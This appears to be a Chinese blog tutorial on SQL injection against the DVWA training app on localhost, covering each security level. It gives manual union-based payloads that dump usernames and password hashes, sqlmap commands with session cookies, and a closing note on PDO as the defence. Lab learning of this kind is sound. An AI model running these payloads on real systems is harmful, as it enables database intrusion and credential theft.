WEB渗透学习|安全渗透学习-DVWA(SQL注入)

low:
手动注入:
判断注入点:
输入1,查询成功
WEB渗透学习|安全渗透学习-DVWA(SQL注入)
文章图片

输入1'进行查询,返回查询错误,判断对‘未进行过滤处理
WEB渗透学习|安全渗透学习-DVWA(SQL注入)
文章图片

WEB渗透学习|安全渗透学习-DVWA(SQL注入)
文章图片

输入1 and 1=1查询
WEB渗透学习|安全渗透学习-DVWA(SQL注入)
文章图片

输入1' or '1'='1,
遍历出了数据库中所有内容。
WEB渗透学习|安全渗透学习-DVWA(SQL注入)
文章图片

使用order by
来判断查询表的字段数
2 成功,3不成功
WEB渗透学习|安全渗透学习-DVWA(SQL注入)
文章图片

WEB渗透学习|安全渗透学习-DVWA(SQL注入)
文章图片


通过内置函数来获取关键信息
即是让内置查询函数代替当前的显示位。
version()user()database()
1' union select version(),database()#
查询版本及当前数据库
WEB渗透学习|安全渗透学习-DVWA(SQL注入)
文章图片

WEB渗透学习|安全渗透学习-DVWA(SQL注入)
文章图片

可以看出目前使用的数据库为dvwa,数据库所有者dvwa@localhost
接下来我们爆表试试
在mysql数据库中还有一个information_schema数据库,这时候就要利用它啦!
information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。
什么是元数据呢?元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。
SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。
TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。
获取表名
WEB渗透学习|安全渗透学习-DVWA(SQL注入)
文章图片


WEB渗透学习|安全渗透学习-DVWA(SQL注入)
文章图片

获取user表的列名
WEB渗透学习|安全渗透学习-DVWA(SQL注入)
文章图片

从user表里查询user,password
WEB渗透学习|安全渗透学习-DVWA(SQL注入)
文章图片

最后使用hash或者md5破解密码
法二:
查看cookie
WEB渗透学习|安全渗透学习-DVWA(SQL注入)
文章图片

使用sqlmap 自动注入工具
设置cookie
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"--cookie="security=low; PHPSESSID=ltjlba9s52c90h5ni0pmqd8hm4"
存在注入
可以看到系统和服务器和数据库版本
WEB渗透学习|安全渗透学习-DVWA(SQL注入)
文章图片

sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"--cookie="security=low; PHPSESSID=ltjlba9s52c90h5ni0pmqd8hm4" --dbs
WEB渗透学习|安全渗透学习-DVWA(SQL注入)
文章图片

-d 指定数据库 --tables 查看表
WEB渗透学习|安全渗透学习-DVWA(SQL注入)
文章图片

--columns 查看列
WEB渗透学习|安全渗透学习-DVWA(SQL注入)
文章图片

-C 指定参数 --dump 拉取数据
WEB渗透学习|安全渗透学习-DVWA(SQL注入)
文章图片


Med:
修改用户输入方式,不能在web手动输入
WEB渗透学习|安全渗透学习-DVWA(SQL注入)
文章图片

另外就是发送请求后,消息头变为post模式
WEB渗透学习|安全渗透学习-DVWA(SQL注入)
文章图片

使用BP抓包,
WEB渗透学习|安全渗透学习-DVWA(SQL注入)
文章图片

修改id参数重新发包
1' union select version(),database()#
请求失败
WEB渗透学习|安全渗透学习-DVWA(SQL注入)
文章图片

使用id =1 or 1=1#请求成功
猜测过滤了‘参数,说明注入属于数字型
WEB渗透学习|安全渗透学习-DVWA(SQL注入)
文章图片

查看源码:
WEB渗透学习|安全渗透学习-DVWA(SQL注入)
文章图片

增加了
mysqli_real_escape_string函数
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
\x00\n\r
\’"\x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。>
输入 2 order by 2#测试可以看出字段有两个
然后测试方法和上相同
2 union select 1 ,database()#
查看数据库为dvwa
剩余步骤和low一样

使用sqlmap工具
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/"--cookie="security=medium; PHPSESSID=at5jvdfcnj6jt9bap8b31461tb" --batch
失败
由bP抓取的数据包分析,发送数据包为id=1---,可尝试增加data字段
尝试
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/"--cookie="security=medium; PHPSESSID=at5jvdfcnj6jt9bap8b31461tb" --batch --data "id=1&Submit=Submit"
WEB渗透学习|安全渗透学习-DVWA(SQL注入)
文章图片

WEB渗透学习|安全渗透学习-DVWA(SQL注入)
文章图片

其余攻击步骤和LOW相同

High:
用户需要点击连接然后跳转进行输入
WEB渗透学习|安全渗透学习-DVWA(SQL注入)
文章图片

WEB渗透学习|安全渗透学习-DVWA(SQL注入)
文章图片

查看源码:
WEB渗透学习|安全渗透学习-DVWA(SQL注入)
文章图片

可以看到,与Medium级别的代码相比,High级别的只是在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果
虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。由于手工注入的过程与Low级别基本一样
1' or 1=1 union selectgroup_concat(user_id,first_name,last_name),group_concat(password) fromusers#
WEB渗透学习|安全渗透学习-DVWA(SQL注入)
文章图片

High级别的查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。
因为页面发生了跳转,使用sqlmap时,不能像MED级别时的方法
可以看到,这是从/session-input.php来的要去到我们之前的页面
/DVWA-1.9/vulnerabilities/sqli/
使用sqlmap
在同一个sqlmap操作命令中就需要包含这2个不同页面的url和其他关键信息,此时利用第一步需求分析中所提及的联合非常规的操作命令--second-url="xxxurl"一起尝试测试
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/session-input.php"--cookie="security=high; PHPSESSID=at5jvdfcnj6jt9bap8b31461tb" --batch --data "id=1&Submit=Submit" --second-url="http://127.0.0.1/dvwa/vulnerabilities/sqli/"
WEB渗透学习|安全渗透学习-DVWA(SQL注入)
文章图片

WEB渗透学习|安全渗透学习-DVWA(SQL注入)
文章图片

后续步骤与low相同
impossibe:
源码
WEB渗透学习|安全渗透学习-DVWA(SQL注入)
文章图片

Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为1时,才会成功输出。
PDO(PHP Data Objects)是一种在PHP里连接数据库的使用接口。PDO与mysqli曾经被建议用来取代原本PHP在用的mysql相关函数,基于数据库使用的安全性,因为后者欠缺对于SQL注入的防护。


参考:
【WEB渗透学习|安全渗透学习-DVWA(SQL注入)】

    推荐阅读